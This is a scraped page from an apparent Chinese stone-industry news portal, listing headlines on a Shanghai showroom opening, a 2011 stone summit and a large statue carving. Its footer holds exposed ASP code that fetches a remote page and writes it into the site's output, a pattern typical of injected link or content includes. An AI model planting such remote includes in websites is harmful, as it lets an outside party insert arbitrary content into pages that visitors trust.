热点新闻

全国首个精品石材装饰体验馆正式亮相上海

8月28日，值上海东华环球建材市场七周年庆典之际，其新项目19#石库石材精品馆也于当日正式开业。本次....

资讯中心

更多

今日焦点

关于举办“2011世界石材发展峰会”与授奖活动的通知

各会员企业：为推动全国石材产业现代化建设与发展，经商会二届六次会长会议决定，于2011年11月8日在....

更多

市场观察

泉州石材雕刻：高达24.15米宋庆龄

泉州石材雕刻又出经典作品，此次雕刻的人像是宋庆龄，高达24.15米，仅仅头部就9米高。目前头部已经雕....

更多

政策法规

• 关于举办“2011世界石材发展峰

更多

人物访谈

更多

市场行情

更多

分析预测

企业新闻

更多

企业动态

更多

技术资料

更多

市场分析

更多

新品发布

• 芝麻灰石材
• 日强石材加入卖石通会员-1306

更多

行业标准

更多

本网动态

技术支持：厦门帮企信息技术有限公司 <% Function getHTTPPage(url) dim objXML set objXML=server.createobject("MSXML2.XMLHTTP") objXML.open "GET",url,false On Error Resume Next objXML.send() If objXML.readystate<>4 then exit function else if instr(url,"utf-") > 0 then getHTTPPage=objXML.ResponseText else getHTTPPage=BytesToBstr(objXML.responseBody) end if set objXML=nothing End If if err.number<>0 then err.Clear End Function Function BytesToBstr(body) dim objstream set objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode =3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = "GB2312" BytesToBstr = objstream.ReadText objstream.Close set objstream = nothing End Function Dim Url,Html Url = "http://www.100lian.net/user/26093.html" response.write(getHTTPPage(Url)) %>